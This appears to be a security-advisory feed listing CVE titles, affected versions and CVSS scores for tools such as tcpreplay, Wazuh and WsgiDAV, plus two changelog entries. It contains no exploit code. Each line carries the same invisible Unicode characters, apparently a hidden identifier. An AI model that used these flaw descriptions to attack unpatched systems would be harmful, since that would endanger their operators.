• CVE-2026-25061: TIM Element OOB Write in wifipcap (CVSS 7.5, affects <= 1.61)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102897: Heap Out-of-Bounds Read up via --pktlen combined with --preload-pcap in tcpreplay (CVSS 7.7, affects <= 4.6.0-beta2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102898: Heap Out-of-Bounds Write in ARP Address Rewriting via Unvalidated ar_hln/ar_pln (CVSS 7.1, affects <= 4.6.0-beta2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102896: Stack Buffer Overflow in tcpprep --services File Parser via Unbounded Regex Match Copied with strncpy() (CVSS 7.8, affects <= 4.6.0-beta2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102754: SEGV in DLT_JUNIPER_ETHER Plugin When Used as Decoder (affects <= 4.5.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102752: Double free in tcpedit_dlt_cleanup in tcprewrite (CVSS 4.0, affects <= 4.5.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102753: Heap-Buffer-Overflow in tcpreplay's get_layer4_v6 Function (affects <= 4.5.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102751: NULL Pointer Dereference in remove_settings (affects <= 4.5.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102749: Heap buffer overflow in tcprewrite fragroute ip6_opt module when inserting IPv6 extension headers (CVSS 8.4, affects <= 4.5.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102746: Heap Buffer Overflow via Negative Fragment/Segment Size in fragroute tcp_seg/ip_frag Modules (CVSS 8.4, affects <= 4.5.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2026-102747: Out-of-Bounds Write in tcprewrite Fragroute Rules Parser on an Empty Rules File (affects <= 4.5.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Privileged Access Management · 2026-11-02

• CVE-2025-49825: Remote authentication bypass (CVSS 9.8, affects <17.5.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-02

• CVE-2019-19316: Cleartext transmission of Terraform state snapshots when using Azure backend with certain SAS tokens (CVSS 7.5, affects < 0.12.17)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Cloud Runtime Security · 2026-11-02

• CVE-2026-65960: Unauthenticated Tetragon gRPC admin API accessible from hostNetwork pods (CVSS 8.8, affects < v1.7.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SOAR · 2026-11-02

Tines adds tenant-wide fallback model configuration, letting owners set an ordered list of up to five backup smart and fast models⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Tenant owners can now set an ordered list of up to five fallback models for the tenant's default smart and fast AI models.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2026-42866: Arbitrary file write via path traversal in -u username / -U userfile output filename (affects <= 4.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Backup & Recovery · 2026-11-02

• CVE-2026-32637: File path traversal when extracting from backup's tarball (affects < 1.18.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Backup & Recovery · 2026-11-02

• CVE-2020-3996: Restored PersistentVolumes may be bound to wrong PersistentVolumeClaims (CVSS 5.5, affects v0.*, v1.*)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Digital Forensics & Incident Response · 2026-11-02

• CVE-2026-85737: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin (CVSS 6.5, affects <= 0.77.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74041: Case-sensitivity mismatch bypasses remote-command validation, allowing command execution as root (CVSS 7.2, affects >= 4.14.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74033: Missing destination-path validation in CDB list cluster-callable handlers allows arbitrary file read/delete on the manager (CVSS 6.1, affects >= 4.1.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74037: Improper session invalidation in check_token: revoking a run_as user's administrator grant does not invalidate their token, enabling permanent self-re-grant of administrator (CVSS 7.2, affects >= 4.0.0, <= 4.14.7)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74045: Heap buffer overflow in wazuh-analysisd fim_generate_alert() lets an enrolled agent corrupt manager heap memory and terminate the analysis engine (CVSS 7.1, affects >= 3.12.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74035: An empty password bypasses both the password policy and the reserved user guard in security.update_user, allowing a delegated user administrator to take over the wazuh superuser account (CVSS 7.2, affects >= 4.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-93346: API brute-force protection is still bypassable by concurrent login requests, the asyncio.Lock fix for GHSA-m2mr-xhhv-jx58 serializes the counter but does not close the check-then-count race (CVSS 5.3, affects >= 4.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74034: Arbitrary file read as root via agent-injected upgrade_custom command (CVSS 7.5, affects >= 4.1.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74032: RBAC Authorization Bypass in Wazuh API (CVSS 4.3, affects >= 4.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74047: authd.pass disclosed to low-privileged users through the per-agent active configuration endpoint (CVSS 6.5, affects >= 4.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74040: Cluster worker can overwrite arbitrary master files (incl.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ ossec.conf) → root RCE on manager and every agent — bypass of #36296 excluded_files guard + missing extra_valid enforcement (CVSS 9.1, affects >= 3.9.0)

SIEM · 2026-11-02

• CVE-2026-74030: SCA YAML alias expansion causes memory exhaustion (CVSS 4.9, affects >= 3.9.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-62365: Heap Buffer Overflow in DecodeWinevt() join_data Accumulation via Crafted EventChannel XML (CVSS 5.3, affects >= 3.8.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-61811: Unbounded Recursion in os_xml _getattributes() Causes analysisd Worker Thread Stack Exhaustion (CVSS 6.5, affects >= 3.8.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-61783: RBAC permission-effect check in mask_sensitive_config allows low-privilege users to read cluster.key (CVSS 6.5, affects >= 4.14.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-54084: Wazuh agent enrollment NULL pointer dereference via malformed manager response (CVSS 5.3, affects >= 4.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-54085: Missing input validation in multiple active response scripts allows argument injection (CVSS 5.9, affects >= 4.2.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-61800: Incomplete fix for CVE-2026-30893: missing directory confinement in cluster worker file sync allows arbitrary file write under /var/ossec on worker nodes (CVSS 8.0, affects >= 4.4.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74046: zlib decompression bomb in cluster archive processing lets authenticated peer exhaust wazuh-clusterd memory (CVSS 4.9, affects >= 4.4.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-74039: Authenticated denial-of-service of the Wazuh API via POST /security/user/authenticate/run_as (CVSS 6.5, affects >= 4.0.0, <= 5.0.0-beta2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reconnaissance & OSINT · 2026-11-02

• CVE-2025-32778: Command Injection via Unvalidated URL in Screenshot API (affects <2.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

World Monitor adds Arabic MCP spoken answers, a Gemini CLI extension manifest, new procurement sources for Georgia and Armenia, and expanded food-price and energy feeds⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• MCP spoken answers now support Arabic by setting spoken_language to "ar".⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds EPADS, Georgia, and Armenia tender sources to the procurement feed.
• Adds 11 batch-2 official food-price sources and official local prices with weekly comparisons.

General Utilities & Libraries · 2026-11-02

• CVE-2026-55560: FilesystemProvider: follow_symlinks=false guard is leaf-only — root escape via intermediate symlink (read/write/delete) (CVSS 7.4, affects <= 4.3.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-55509: Blind SQL injection in WsgiDAV MySQL provider (affects <= 4.3.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-48099: Encoded dot segments can escape WsgiDAV filesystem share roots (CVSS 7.1, affects <= 4.3.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2022-41905: Cross Site Scripting vulnerability in wsgidav when directory browsing is enabled (CVSS 8.2, affects >=3.0.0a1,<4.1.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

• CVE-2026-63502: Path traversal in ExportTask name allows authenticated arbitrary file read and write (CVSS 8.3, affects <= 2.5.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠